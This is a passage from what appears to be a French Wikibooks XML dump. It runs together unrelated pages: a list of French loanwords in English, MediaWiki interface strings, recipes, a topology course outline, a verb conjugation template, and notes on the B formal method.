naïve] (a changé de sens pour <em>ignorant</em>. Naïf se dit <span xml:lang="en">clueless</span>) *[[:en:w:Fantastic_Four|née]] (généalogie, particulièrement royale) *noblesse oblige *[http://www.catb.org/~esr/writings/cathedral-bazaar/hacker-history/ar01s04.html par excellence] *penchants *[[:en:w:Cryonics|personel]] *[[:en:w:Ape_genocide|poignant]] *questionnaire *[[:en:w:Grey_goo|raison d’être]] *rapporteur *recommencement <cite xml:lang="en">Our Posthuman Future</cite>, p.12 — Francis Fukuyama *reveries <cite xml:lang="en">Epic Level Handbook</cite>, p.292 *[http://www.snopes.com/photos/photos.asp risqué] *rôle *rouge (<cite xml:lang="sl">Veliki angleško-slovenski slovar Oxford</cite> – ISBN 8634108244. A aussi donné <span xml:lang="sl">ruž</span> en slovène) *sans *[[:en:w:Sans-culottes|sans-culotte]] *sauté *savoir-faire *séance *serf *[http://www.myth-drannor.net/DlabraddathNet/z-Edain/Shadovar.htm sombre] *vibrant *[http://www.math.ucla.edu/~jimc/officeval/resources.html svelte] *[http://www.snopes.com/titanic/unsink.htm tableau] *tour de force *[http://phataudio.org/modules.php?name=News&amp;file=comments&amp;op=showreply&amp;tid=138&amp;sid=195&amp;pid=137&amp;mode=thread&amp;order=0&amp;thold=0#138 vis-à-vis] (<cite xml:lang="en">Matrix Reloaded</cite>) *[http://embruns.net/actus-et-opinions/etre_juif.html#c1623 Vive la différence] *voilà ==Bibliographie== *[http://www.efirst.com/XXXdetail.asp?Code=6532261 <cite>L’Anglais correct Pour les Nuls</cite>] *[http://fr.wikipedia.org/wiki/Vrais_amis_en_anglais Vrais amis en anglais] *[[:en:w:List_of_English_words_of_French_origin|List of English words of French origin]] *[[:en:w:List_of_French_phrases_used_by_English_speakers|List of French phrases used by English speakers]] *[[:en:w:Category:French_phrases|Category— French phrases]] Image:F-erie -Image 207513 envoy-e par menly.jpg 5864 25255 2005-11-09T12:59:21Z SONPERLA 804 F-erie_image_207513 F-erie_image_207513 Formation de Formateur 5866 28014 2006-01-01T07:40:25Z 86.203.217.174 Rédiger un didacticiel *[[Formation de Formateur Préambule|Préambule]] *[[Formation de Formateur Introduction|Introduction]] **[[Formation de Formateur Un Peu d'Histoire|Un Peu d'Histoire]] *[[Formation de Formateur Item|Item]] **[[Formation de Formateur Sous-Item|Sous-Item]] *[[Formation de Formateur Item|Item]] **[[Formation de Formateur Sous-Item|Sous-Item]] *[[Formation de Formateur Item|Item]] **[[Formation de Formateur Sous-Item|Sous-Item]] *[[Formation de Formateur Item|Item]] **[[Formation de Formateur Sous-Item|Sous-Item]] *[[Formation de Formateur La veille du formateur|La veille du formateur]] **[[Formation de Formateur - La veille sur l'offre de formation|la veille sur l'offre de formation]] **[[Formation de Formateur La veille sur le besoin de formation|la veille sur le besoin de formation]] **[[Formation de Formateur La veille technologique|la veille technologique]] Annexes : *[Formation de Formateur Glossaire|GLossaire]] *[[Formation de Formateur Liste de livre|Liste de livre]] * [http://www.framasoft.net/article4182.html Rédiger un didacticiel] MediaWiki:Allowemail 5867 sysop 46678 2006-07-01T18:48:48Z MediaWiki default Autoriser l'envoi de courriel d'autres utilisateurs MediaWiki:Allpagesprefix 5868 sysop 46680 2006-07-01T18:48:48Z MediaWiki default Afficher les pages commençant par le préfixe : MediaWiki:Categories1 5869 sysop 29226 2006-01-17T22:43:16Z Guillaumito 46 traduction Catégorie MediaWiki:Confirm purge 5870 sysop 46708 2006-07-01T18:48:48Z MediaWiki default Voulez-vous rafraîchir cette page ??\n\n$1 MediaWiki:Confirm purge button 5871 sysop 46709 2006-07-01T18:48:48Z MediaWiki default Confirmer MediaWiki:Datedefault 5872 sysop 25271 2005-11-09T22:20:56Z MediaWiki default No preference MediaWiki:Datetime 5873 sysop 25272 2005-11-09T22:20:56Z MediaWiki default Date and time MediaWiki:Doubleredirectsarrow 5874 sysop 25273 2005-11-09T22:20:56Z MediaWiki default MediaWiki:Download 5875 sysop 46744 2006-07-01T18:48:48Z MediaWiki default Téléchargement MediaWiki:Exif-photometricinterpretation-2 5876 sysop 25276 2005-11-09T22:20:57Z MediaWiki default RGB MediaWiki:Ignorewarnings 5877 sysop 46806 2006-07-01T18:48:49Z MediaWiki default Ignorer tous les avertissements MediaWiki:Importing 5878 sysop 46821 2006-07-01T18:48:49Z MediaWiki default Import de $1 MediaWiki:Importnofile 5879 sysop 46825 2006-07-01T18:48:49Z MediaWiki default Aucun fichier d'import n'a été copié. MediaWiki:Importuploaderror 5880 sysop 46831 2006-07-01T18:48:49Z MediaWiki default La copie du fichier d'import a échouée ; la taille du fichier est peut-être supérieure à celle autorisée. MediaWiki:Jumpto 5881 sysop 25283 2005-11-09T22:20:57Z MediaWiki default Jump to: MediaWiki:Jumptonavigation 5882 sysop 25284 2005-11-09T22:20:57Z MediaWiki default navigation MediaWiki:Jumptosearch 5883 sysop 25285 2005-11-09T22:20:57Z MediaWiki default search MediaWiki:Mimesearch 5884 sysop 46867 2006-07-01T18:48:49Z MediaWiki default Recherche par type MIME MediaWiki:Mimetype 5885 sysop 46868 2006-07-01T18:48:49Z MediaWiki default Type MIME : MediaWiki:Mostcategories 5886 sysop 46872 2006-07-01T18:48:49Z MediaWiki default Articles avec le plus de catégories MediaWiki:Mostimages 5887 sysop 46873 2006-07-01T18:48:49Z MediaWiki default Plus de liens vers des images MediaWiki:Mostlinkedcategories 5888 sysop 46875 2006-07-01T18:48:49Z MediaWiki default Plus de liens vers les catégories MediaWiki:Mostrevisions 5889 sysop 46876 2006-07-01T18:48:49Z MediaWiki default Articles avec le plus de révisions MediaWiki:Ncategories 5890 sysop 46884 2006-07-01T18:48:50Z MediaWiki default $1 catégories MediaWiki:Newarticletextanon 5891 sysop 25293 2005-11-09T22:20:58Z MediaWiki default {{int:newarticletext}} MediaWiki:Noarticletextanon 5892 sysop 25294 2005-11-09T22:20:58Z MediaWiki default {{int:noarticletext}} MediaWiki:Nrevisions 5893 sysop 46908 2006-07-01T18:48:50Z MediaWiki default $1 révisions MediaWiki:Redirectingto 5894 sysop 46953 2006-07-01T18:48:50Z MediaWiki default Redirection vers [[$1]]... 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MediaWiki:Uid 5898 sysop 47052 2006-07-01T18:48:51Z MediaWiki default ID utilisateur : MediaWiki:Unwatchedpages 5899 sysop 47076 2006-07-01T18:48:51Z MediaWiki default Pages non suivies MediaWiki:Username 5900 sysop 47086 2006-07-01T18:48:51Z MediaWiki default Nom d'utilisateur : MediaWiki:Val max topics 5901 sysop 25314 2005-11-09T22:20:59Z MediaWiki default Maximum number of $1 topics reached MediaWiki:Val no topics defined 5902 sysop 25315 2005-11-09T22:20:59Z MediaWiki default No topics defined MediaWiki:Val no topics defined text 5903 sysop 25316 2005-11-09T22:20:59Z MediaWiki default You have no topics defined which can be rated. Go to [[Special:Validate]], and have an administrator run the "Manage" function to add at least one topic and point range. MediaWiki:Wantedcategories 5904 sysop 47099 2006-07-01T18:48:51Z MediaWiki default Catégories les plus demandées MediaWiki:Widthheight 5905 sysop 47114 2006-07-01T18:48:51Z MediaWiki default $1×$2 Programmation HTML XML et XHTML 5906 43702 2006-06-01T14:00:26Z VIGNERON 312 mieux {{Programmation HTML}} '''XML''' signifie Extensible Markup Langage. Le XML s'intègre au code HTML, il permet de décrire et structurer des données. Contrairement au HTML, les balises XML sont définies par l'utilisateur. Le XSLT permet de transformer le code XML en code HTML. Formation de Formateur La veille sur l'offre de formation 5913 25366 2005-11-11T21:16:26Z Fnguyen 783 Vous trouverez ici une liste non exhaustive d'organisme Français qui ressencent des informations sur la Formation Professionnelle des Adultes Formation de Formateur - La veille sur l'offre de formation 5914 25375 2005-11-11T22:04:02Z Fnguyen 783 voici une liste non exhaustive d'organismes Français ou vous pourrez trouvez des informations concernant <br>la Formation Professionnelle des Adultes. <br> *CREDOC - Centre de Recherche pour l'Etude et l'Observation des Conditions de Vie *CONSEIL REGIONAL - de votre region *CESR - Conseil Economique et social de votre région *CARIF - Centre d’Animation, de Ressources et d’Informations sur les Formations *OREF - Observatoire Regional Emploi Formation *CENTRE INFFO - Centre pour le developpement de l’information sur la formation permanente *COPIRE - Commission Paritaire Interprofessionnelle Regionale *CPNFP - Comite Paritaire National pour la Formation Professionnelle *CONSEIL GENERAL - de votre region *CODEF - CCREFP - *CPCRIE – Comite de Pilotage de Reclassement Interentreprise *CEDEF – Centre Europeen de Documentation pour l’Education et la Formation Français/Petits trucs 5915 25377 2005-11-11T23:12:30Z Esope 99 premier jet, liste des astuces existantes {{ébauche}} {{Français Syntaxe}} Le français est une langue difficile en de nombreux aspects, même pour ceux dont elle est la langue maternelle. Nous proposons ici quelques astuces pratiques et leur explication grammaticale permettant de distinguer certains homonymes. * [[Français/A et À|A et À]] * [[Français/ET et EST|ET et EST]] * [[Français/OU et Où|OU et Où]] * [[Français/ON et ONT|ON et ONT]] * [[Français/SON et SONT|SON et SONT]] * [[Français/CE et SE|CE et SE]] * [[Français/C'EST, S'EST, CES et SES|C'EST, S'EST, CES et SES]] * [[Français/ÇA et SA|ÇA et SA]] * [[Français/QUOIQUE et QUOI QUE|QUOIQUE et QUOI QUE]] {{Français}} A et À 5916 25379 2005-11-11T23:13:45Z Esope 99 [[A et À]] déplacé vers [[Français/A et À]]: Nouveau nom pour rattacher la page au wikilivre [[Français]] #REDIRECT [[Français/A et À]] C'EST et S'EST 5917 25383 2005-11-11T23:19:21Z Esope 99 [[C'EST et S'EST]] déplacé vers [[Français/C'EST, S'EST, CES et SES]]: nouveau titre pour rattacher cette page au wikilivre [[Français]] + nouveau contenu (même homonymie) #REDIRECT [[Français/C'EST, S'EST, CES et SES]] ET et EST 5918 25388 2005-11-11T23:48:34Z Esope 99 [[ET et EST]] déplacé vers [[Français/ET et EST]]: nouveau nom pour lier la page au wikilivre [[Français]] #REDIRECT [[Français/ET et EST]] OU et Où 5919 25390 2005-11-11T23:48:42Z Esope 99 [[OU et Où]] déplacé vers [[Français/OU et Où]]: nouveau nom pour lier la page au wikilivre [[Français]] #REDIRECT [[Français/OU et Où]] ON et ONT 5920 25392 2005-11-11T23:48:57Z Esope 99 [[ON et ONT]] déplacé vers [[Français/ON et ONT]]: nouveau nom pour lier la page au wikilivre [[Français]] #REDIRECT [[Français/ON et ONT]] SON et SONT 5921 25394 2005-11-11T23:49:40Z Esope 99 [[SON et SONT]] déplacé vers [[Français/SON et SONT]]: nouveau nom pour lier la page au wikilivre [[Français]] #REDIRECT [[Français/SON et SONT]] CE et SE 5922 25396 2005-11-11T23:50:29Z Esope 99 [[CE et SE]] déplacé vers [[Français/CE et SE]]: nouveau nom pour lier la page au wikilivre [[Français]] #REDIRECT [[Français/CE et SE]] Purée au brèdes-Mafanes 5931 25891 2005-11-23T12:48:21Z Jonathaneo 457 {{Livre de cuisine}} ==Ingrédiens== *6 Pommes de terre à purée(ou plus ou moins selon les envies) *1 gousse d'ail ou échalottes grises *50 grammes de brédès-mafanes *environ 1,5 verre de lait ==Recette== *Faite cuire les pommes de terre dans l'eau sans la peau jusqu'a ce qu'elles soient molles. *Pendant que les patates cuisent, coupez les feuilles de brèdes-mafanes dans un verre pour en avoir une bonne quantité. Coupez la gousse d'ail grossièrement. *Débarrassez vous de l'eau et écrasez les pommes de terre en versant le lait et l'ail et le brèdes. mangez chaud (--> le verre pour échelle est égal à un pot de moutarde Topologie 5932 27837 2005-12-29T02:57:12Z 207.253.64.16 /* Liens externes */ == Introduction == [[Catégorie:Mathématiques]] La topologie est une branche des mathématiques où l'on approfondit la notion de distance, de continuité, de limite, bien que cet aspect géométrique ne soit pas évident au premier abord pour l'étudiant novice. La topologie permet aussi de faire de l'analyse dans des espaces plus abstraits que <math>\mathbb{R}</math> comme des espaces fonctionnels. Il est remarquable de noter qu'aucune connaissance préalable n'est nécessaire à l'apprentissage de ce pan des mathématiques modernes, hormis la théorie des ensembles. Pour un tour d'horizon général de ce sujet, on pourra se reporter à l'article de Wikipédia : [http://fr.wikipedia.org/wiki/Topologie topologie]. Il serait bon, avant de s'attaquer à la topologie, d'être familiarisé avec certaines notions : * [[Analyse réelle]] ** Fonctions continues ** Suites et séries, convergence, divergence. * [[Théorie des ensembles]] ** Opérations sur les ensembles : union, intersection, passage au complémentaire, loi de Morgan. ** Relations d'ordre : ensembles ordonnés, relation d'équivalence. ** Cardinalité : finitude, dénombrabilité et indénombrabilité. ** Lemme de Zorn et axiome du choix. == Notions de topologie générale == ===Un peu de théorie des ensembles=== *Chapitre 1 [[Algèbre:Théorie élémentaire des ensembles|Aperçu de la théorie des ensembles]] === Topologie générale === *Chapitre 2.1 [[Espace topologique]] *Chapitre 2.2 [[Bases d'ouverts]] *Chapitre 2.3 [[Espace métrique]] *Chapitre 2.4 [[Order]] *Chapitre 2.5 [[Suites]] *Chapitre 2.6 [[Sous-espaces]] *Chapitre 2.7 [[Adhérence, intérieur...]] *Chapitre 2.8 [[Continuité et homéomorphismes]] === Propriétés topologiques === *Chapitre 2.9 [[Axiomes de séparation]] *Chapitre 3.2 [[Connexité]] *Chapitre 3.3 [[Connexité par arc]] *Chapitre 3.4 [[Compacité]] *Chapitre 3.5 [[Dénombrabilité]] === Constructions === *Chapitre 4.1 [[Espaces produit]] *Chapitre 4.2 [[Espaces quotient]] == Topologie algébrique == *Chapter 5.1 [[Groupe libre et réprésentation d'un groupe]] *Chapter 5.2 [[Le groupe fondamental]] == Topologie différentielle == == Voir aussi == === Liens externes === * [http://www.eetopologie.org/publications/publications.html Différents ouvrages ou articles sur la topologie lacanienne] * [http://www.librecours.org/documents/8/822.pdf Cours de classes préparatoires centré sur les espaces vectoriels normés] * [http://www-math.unice.fr/~cberger/topologie.pdf Topologie pour la licence] * [http://www.math.cornell.edu/~hatcher/AT/ATpage.html Topologie algébrique (en anglais)] [[en:topology]] Espace topologique 5934 28733 2006-01-12T10:38:24Z 195.221.111.74 /* Définition d'un espace topologique */ Dans cette partie, on définit la notion de topologie sur un ensemble et d'espace topologique. On donne par ailleurs quelques exemples fondamentaux. == Introduction == De la même manière qu'en [[algèbre]] générale, les notions de groupes, d'anneaux et de corps généralisent ce que nous savons de l'addition des réels à des structures plus abstraites, voire exotiques, la structure d'espace topologique permet de généraliser celle d'espace euclidien à des objets mathématiques de nature totalement différente (espace de nombres, espaces fonctionnels...) L'intuition géométrique joue un grand rôle en topologie, bien qu'il faille toujours se méfier des dessins (dont la pertinence est limitée quand il s'agit de représenter des espaces de dimension infinie). On définit donc la structure de base de la topologie : l'espace topologique, défini comme la donnée d'un ensemble <math>X</math>, et d'une topologie sur <math>X</math>, c'est-à-dire un ensemble de sous-ensembles de <math>X</math> vérifiant certaines propriétés, dont les éléments sont appelés ouverts. Intuitivement, un ouvert correspond à un ensemble qui ne contient pas sa "frontière". == Définition d'un espace topologique == Un espace topologique est un couple <math>(X, \mathcal{T})</math>, où <math>\mathcal{T}</math> est une partie de l'ensemble <math>\mathcal{P}(X)</math> des parties de <math>X</math>, vérifiant les trois propriétés : * Les ensembles <math>\emptyset</math> et <math>X</math> sont dans <math>\mathcal{T}</math> * La réunion d'une famille quelconque d'éléments de <math>\mathcal{T}</math> est encore dans <math>\mathcal{T}</math> * L'intersection d'une famille finie d'éléments de <math>\mathcal{T}</math> est encore dans <math>\mathcal{T}</math> <math>\mathcal{T}</math> s'appelle la topologie associée à l'espace topologique <math>(X, \mathcal{T})</math>. La plupart du temps, la topologie est sous-entendue, si bien qu'on commettra l'abus de confondre <math>X</math> et <math>(X,\mathcal{T})</math>. == Exemples classiques d'espaces topologiques == [[en:Topological Spaces]] Modèle:Français Tableau de conjugaison 5937 25714 2005-11-19T23:51:10Z Esope 99 tableau centré {| align="center" style="text-align:center; border:1px solid #bbbeee" |- | style="height:3em" colspan=8 | '''{{{inf}}}''' |- | style="height:3em" colspan=8 bgcolor=#ffeeaa | '''Formes non personnelles''' |- bgcolor=#ffeebb | colspan=2 | | colspan=3 | '''Simples''' | colspan=3 | '''Composées''' |- | colspan=2 bgcolor=#ffeebb | '''Infinitif''' | colspan=3 | {{{inf}}} | colspan=3 | {{{infp}}} |- | colspan=2 bgcolor=#ffeebb | '''Participe passé''' | colspan=3 | {{{pp}}} | colspan=3 | - |- | colspan=2 bgcolor=#ffeebb | '''Participe présent''' | colspan=3 | {{{ppr}}} | colspan=3 | {{{pprc}}} |- | colspan=8 bgcolor=#ccccff style="height:3em" | '''Formes personnelles''' |- bgcolor=#d5d5ff | colspan=2 | '''nombre''' | colspan=3 | '''singulier''' | colspan=3 | '''pluriel''' |- bgcolor=#d5d5ff | colspan=2 | '''personne''' | width=12.5% | '''première''' | width=12.5% | '''deuxième''' | width=12.5% | '''troisième''' | width=12.5% | '''première''' | width=12.5% | '''deuxième''' | width=12.5% | '''troisième''' |- bgcolor=#ccddff | colspan=2 | '''Indicatif''' | '''je''' | '''tu''' | '''il''' / '''elle'''<br/>'''on''' | '''nous''' | '''vous''' | '''ils''' / '''elles''' |- | rowspan=4 bgcolor=#ccddff | '''Temps simples''' | style="height=3em" bgcolor=#ccddff | '''Présent''' | {{{ind.p.1s}}} | {{{ind.p.2s}}} | {{{ind.p.3s}}} | {{{ind.p.1p}}} | {{{ind.p.2p}}} | {{{ind.p.3p}}} |- | style="height:3em" bgcolor=#ccddff | '''Imparfait''' | {{{ind.i.1s}}} | {{{ind.i.2s}}} | {{{ind.i.3s}}} | {{{ind.i.1p}}} | {{{ind.i.2p}}} | {{{ind.i.3p}}} |- | style="height:3em" bgcolor=#ccddff | '''Passé simple''' | {{{ind.ps.1s}}} | {{{ind.ps.2s}}} | {{{ind.ps.3s}}} | {{{ind.ps.1p}}} | {{{ind.ps.2p}}} | {{{ind.ps.3p}}} |- | style="height:3em" bgcolor=#ccddff | '''Futur''' | {{{ind.f.1s}}} | {{{ind.f.2s}}} | {{{ind.f.3s}}} | {{{ind.f.1p}}} | {{{ind.f.2p}}} | {{{ind.f.3p}}} |- | rowspan=4 bgcolor=#ccddff | '''Temps<br>composés''' | style="height:3em" bgcolor=#ccddff | '''Passé composé''' | {{{ind.pc.1s}}} | {{{ind.pc.2s}}} | {{{ind.pc.3s}}} | {{{ind.pc.1p}}} | {{{ind.pc.2p}}} | {{{ind.pc.3p}}} |- | style="height:3em" bgcolor=#ccddff | '''Plus-que-parfait''' | {{{ind.pqp.1s}}} | {{{ind.pqp.2s}}} | {{{ind.pqp.3s}}} | {{{ind.pqp.1p}}} | {{{ind.pqp.2p}}} | {{{ind.pqp.3p}}} |- | style="height:3em" bgcolor=#ccddff |'''Passé antérieur''' | {{{ind.pa.1s}}} | {{{ind.pa.2s}}} | {{{ind.pa.3s}}} | {{{ind.pa.1p}}} | {{{ind.pa.2p}}} | {{{ind.pa.3p}}} |- | style="height:3em" bgcolor=#ccddff | '''Futur antérieur''' | {{{ind.fa.1s}}} | {{{ind.fa.2s}}} | {{{ind.fa.3s}}} | {{{ind.fa.1p}}} | {{{ind.fa.2p}}} | {{{ind.fa.3p}}} |- bgcolor=#bbffbb | colspan=2 | '''Conditionnel''' | '''je''' | '''tu''' | '''il / elle'''<br/>'''on''' | '''nous''' | '''vous''' | '''ils / elles ''' |- | style="height:3em" bgcolor=#bbffbb | '''Temps simple''' | style="height:3em" bgcolor=#bbffbb | '''Présent''' | {{{cond.p.1s}}} | {{{cond.p.2s}}} | {{{cond.p.3s}}} | {{{cond.p.1p}}} | {{{cond.p.2p}}} | {{{cond.p.3p}}} |- | style="height:3em" bgcolor=#bbffbb | '''Temps composé''' | style="height:3em" bgcolor=#bbffbb | '''Passé''' | {{{cond.pa.1s}}} | {{{cond.pa.2s}}} | {{{cond.pa.3s}}} | {{{cond.pa.1p}}} | {{{cond.pa.2p}}} | {{{cond.pa.3p}}} |- bgcolor=ffddbb | colspan=2 | '''Subjonctif''' | '''je''' | '''tu''' | '''il / elle'''<br/>'''on''' | '''nous''' | '''vous''' | '''ils / elles ''' |- | rowspan=2 bgcolor=#ffddbb | '''Temps<br>simples''' | style="height:3em" bgcolor=#ffddbb | '''Présent''' | {{{sub.p.1s}}} | {{{sub.p.2s}}} | {{{sub.p.3s}}} | {{{sub.p.1p}}} | {{{sub.p.2p}}} | {{{sub.p.3p}}} |- | style="height:3em" bgcolor=#ffddbb | '''Imparfait''' | {{{sub.i.1s}}} | {{{sub.i.2s}}} | {{{sub.i.3s}}} | {{{sub.i.1p}}} | {{{sub.i.2p}}} | {{{sub.i.3p}}} |- | rowspan=2 bgcolor=#ffddbb | '''Temps composés''' | style="height:3em" bgcolor=#ffddbb | '''Passé''' | {{{sub.pc.1s}}} | {{{sub.pc.2s}}} | {{{sub.pc.3s}}} | {{{sub.pc.1p}}} | {{{sub.pc.2p}}} | {{{sub.pc.3p}}} |- | style="height:3em" bgcolor=#ffddbb | '''Plus-que-parfait''' | {{{sub.pqp.1s}}} | {{{sub.pqp.2s}}} | {{{sub.pqp.3s}}} | {{{sub.pqp.1p}}} | {{{sub.pqp.2p}}} | {{{sub.pqp.3p}}} |- bgcolor=#ffd5d5 | colspan=2 | '''Impératif''' | - | '''tu''' | - | '''nous''' | '''vous''' | - |- | bgcolor=#ffd5d5 | '''Temps simple''' | style="height:3em" bgcolor=#ffd5d5 | '''Présent''' | - | {{{imp.p.2s}}} | - | {{{imp.p.1p}}} | {{{imp.p.2p}}} | - |- | bgcolor=#ffd5d5 | '''Temps composé''' | style="height:3em" bgcolor=#ffd5d5 | '''Passé''' | - | {{{imp.pa.2s}}} | - | {{{imp.pa.1p}}} | {{{imp.pa.2p}}} | - |} Cuisine:Brioche 5938 29631 2006-01-21T01:12:56Z Guillaumito 46 [[Brioche]] déplacé vers [[Cuisine:Brioche]] === Ingrédients === * 400 grammes de farine * 50 grammes de sucre en poudre * 1 cuiller à café de sel fin * 4 oeufs * 180 grammes de beurre * 20 gramme de levure de boulanger * 1 cuiller à soupe d'eau froide == Matériel == 2 moules à cake ou un gros moule à savarin. == Préparation == * Mélanger farine, sucre et sel dans un récipient. * Fouetter un œuf à la fois et le verser sur le mélange. * Soulever la pâte. * Faire fondre le beurre puis le verser. * Soulever la pâte à la cuiller. * Mélanger levure et eau. * soulever le tout à la cuiller. * Mettre le saladier dans le bas du frigo, couvrir le saladier une nuit ou 5 à 6 heures minimum. * Le lendemain matin, sortir la pâte, l'étaler, la plier, l’étaler à nouveau et ce quatre fois de suite. * Faire deux à huit boudins. * Beurrer les moules à cake (ou le gros moule à savarin). * Mettre sept ou huit boudins dans chaque moule. * Laisser lever 4 heure à température élevée et sans courant d'air. * Mettre dans un four froid, thermostat 6, grill n° 1, pendant 20 minutes. * Sortir la brioche puis la démouler. La brioche peut être appréciée avec du sucre glace. Conseil de préparation : * Remplir un bol aux trois-quarts avec sucre glace. * Mélanger avec très peu d'eau afin que le sucre glace soit un liquide épais. * Le verser sur les brioches. Bon appétit :) ---- Retour aux [[Cuisine:Recettes de cuisine française|recettes françaises]] / au [[Livre_de_Cuisine|sommaire]] ---- Programmation méthode B 5940 25630 2005-11-18T15:52:45Z 137.121.1.26 B événementiel est une extension {{ébauche}} {{Wikipédia|Méthode B}} *[[Programmation méthode B/Introduction|Introduction]] *[[Programmation méthode B/Bases de la spécification|Bases de la spécification]] **[[Programmation méthode B/B classique|B « classique »]] **[[Programmation méthode B/Première machine abstraite|Première machine abstraite]] **[[Programmation méthode B/Spécification algébrique|Spécification algébrique]] **[[Programmation méthode B/Concept de précondition|Concept de précondition]] **[[Programmation méthode B/Notation textuelle|Notation textuelle]] *[[Programmation méthode B/Extension B événementiel|B « événementiel »]] *[[Programmation méthode B/Différence avec Z|Différence avec Z]] *[[Programmation méthode B/Bibliographie et référence|Bibliographie et référence]] *[[Programmation méthode B/Conclusion|Conclusion]] Programmation méthode B/Concept de précondition 5941 25519 2005-11-16T11:49:28Z Bayo 329 [[Programmation méthode B Concept de précondition]] déplacé vers [[Programmation méthode B/Concept de précondition]] Soit la machine suivante : '''<nowiki>MACHINE</nowiki>''' <nowiki> Calculette</nowiki> <nowiki>...</nowiki> '''<nowiki>OPERATIONS</nowiki>''' <nowiki> cc <-- plus (aa, bb) =</nowiki> ''<nowiki> /* avec l'Atelier B, les noms des variables</nowiki>'' ''<nowiki> et des constantes doivent faire au moins</nowiki>'' ''<nowiki> deux caractères */</nowiki>'' <nowiki> PRE</nowiki> <nowiki> a : NAT &</nowiki> <nowiki> b : NAT &</nowiki> <nowiki> a + b : NAT</nowiki> <nowiki> THEN</nowiki> <nowiki> cc := aa + bb</nowiki> <nowiki> END;</nowiki> <nowiki>...</nowiki> '''<nowiki>END</nowiki>''' * Quel est le sens de a + b : (appartient) ENTIER que l'on trouve dans la précondition ? ** Quand on passera de la machine abstraite au code exécutable, la précondition de l'opération plus ne sera pas présente dans le code exécutable de cette opération. ** La précondition veut dire que, lorsqu'on utilisera la machine abstraite (lorsqu'on l'appellera), si l'on respecte la précondition, la machine se comportera comme spécifiée. ** Si on ne respecte pas la précondition, on n'a aucune garantie de bon fonctionnement. '''Exemple de la calculette :''' Le concepteur du logiciel démontrera, une fois pour toute, que si la précondition est remplie, la calculette fonctionnera correctement. ATTENTION : Bien différencier l'approche B (programmation offensive) de la programmation défensive ! '''Exemple de mon enrouleur de câble électrique :''' J'ai un enrouleur de câble électrique qui porte l'étiquette suivante : « Puissance maximale sous 200 V = 2000 W avec le câble déroulé, 1000 W avec le câble enroulé. » J'ai utilisé ma tondeuse électrique de 12000 W avec le câble enroulé. * Le câble a fondu. * L'enrouleur ne m'a pas prévenu. * Il ne disposait pas d'un composant testant si le câble était déroulé. * C'est lorsque le fabricant a conçu l'enrouleur qu'il a « démontré » qu'il fonctionne correctement si l'utilisateur respecte les conditions d'emploi écrites sur l'étiquette. Cette démonstration a été faite une fois pour toute en utilisant les lois de la physique. Le vendeur ne m'a pas remboursé l'enrouleur. C'est alors à l'utilisateur à ne faire appel à l'enrouleur qu'en respectant les conditions d'emploi. Ces conditions d'emploi ne peuvent être vérifiées dans le « code » de l'opération. Programmation méthode B Concept de précondition 5942 25520 2005-11-16T11:49:28Z Bayo 329 [[Programmation méthode B Concept de précondition]] déplacé vers [[Programmation méthode B/Concept de précondition]] #REDIRECT [[Programmation méthode B/Concept de précondition]] Programmation méthode B/Notation textuelle 5943 25523 2005-11-16T11:52:34Z Bayo 329 Bien pratique pour les échanges sur Internet et pour saisir une machine B avec un clavier de monsieur tout le monde ! ==Logique == {| border=1 | Code | Libellé | Notation Mathématique |- | <tt>P & Q</tt> | Conjonction | <math>P\and Q</math> |- | <tt>P or Q</tt> | Disjonction | <math>P\vee Q</math> |- | <tt>P => Q</tt> | Implication | <math>P\Rightarrow Q</math> |- | <tt>P <=> Q</tt> | Equivalence | <math>P\Leftrightarrow Q</math> |- | <tt>not P</tt> | Négation | <math>\neg P</math> |- | <tt>!(x).(P=>Q)</tt> | Quantification universelle | <math>\forall(x)\cdot (P\Rightarrow Q)</math> |- | <tt>#(x).(P)</tt> | Quantification existentielle | <math>\exists(x)\cdot (P)</math> |} ==Comparaison== {| border=1 | Code | Libellé | Notation Mathématique |- | <tt>E = F</tt> | Egalité | <math>E=F</math> |- | <tt>E /= F</tt> | Inégalité | <math>E\neq F</math> |- | <tt>M <= N</tt> | Inférieur ou égal | <math>M\le N</math> |- | <tt>M < N</tt> | Strictement inférieur | <math>M < N</math> |- | <tt>M >= N</tt> | Supérieur ou égal | <math>M\ge N</math> |- | <tt>M > N</tt> | Strictement supérieur | <math>M > N</math> |} ==Prédicats sur les ensembles== Code Libellé <br /> E : S Appartenance <br /> E /: S N'appartient pas <br /> S <: T Sous-ensemble (inclusion) <br /> S /< T non inclus <br /> S <<: T sous ensemble strict ⊂ <br /> ==Ensembles== Code Libellé <br /> E |-> F Couple <br /> S * T Produit cartésien <br /> pow (S) Ensemble des parties de S <br /> S \/ T Union ∪ <br /> S /\ T Intersection ∩ <br /> S - T Différence <br /> { } Ensemble vide <br /> ==Nombres== Code Libellé <br /> NAT Les nombres naturels implantables <br /> card (S)Cardinal de S <br /> ==Relations== Code Libellé <br /> S <-> T Relations quelconques <br /> dom (r) Domaine de r <br /> ran (r) Codomaine de r <br /> id (r) Identité de r <br /> S <| r Restriction de domaine <br /> S <<| r Corestriction de domaine <br /> r |> T Restriction de codomaine <br /> r ~ Relation inverse de r <br /> r [S] Image de S par r (on dit aussi image relationnelle) <br /> r1 +> r2 Ecrasement de r2 par r1 <br /> ==Fonctions== Code Libellé <br /> S +-> T ensemble des Fonctions partielles de S vers T <br /> S --> T ensemble des Fonctions totales de S vers T <br /> S >+> T ensemble des Injections <br /> S >-> T ensemble des Injections totales <br /> S +->> T ensemble des Surjections <br /> S -->> T ensemble des Surjections totales <br /> S >->> T ensemble des Bijections <br /> f(E) Application de fonction <br /> ==Liste== Code Libellé <br /> <> Suite vide <br /> seq (S) Ensemble des Suites de S <br /> iseq (S) Ensemble des Suites injectives <br /> j ^k Concaténation <br /> E -> J Ajout en début <br /> J <- E Ajout en fin <br /> [E] Suite singleton <br /> size (J) Taille de la suite J <br /> first (J) Premier élément de la suite J <br /> last (J) Dernier élément de la suite J <br /> ==Substitutions== Code Libellé <br /> x := E Substitution simple <br /> x,y := E,F Substitution multiple <br /> G;H Séquence <br /> skip Skip <br /> x :: S Choix indéterministe de x parmi les éléments de S <br /> x : P Choix par prédicat <br /> Programmation méthode B/Spécification algébrique 5944 25525 2005-11-16T11:55:27Z Bayo 329 import de Wikipédia '''<nowiki>MACHINE </nowiki>''' <nowiki> VARIABLE (VALEUR)</nowiki> '''<nowiki>VARIABLES</nowiki>''' <nowiki> vrb</nowiki> '''<nowiki>INVARIANT</nowiki>''' <nowiki> vrb : VALEUR</nowiki> '''<nowiki>OPERATIONS</nowiki><br/>''' <nowiki> v <-- valeur =</nowiki> <nowiki> BEGIN</nowiki> <nowiki> v:= 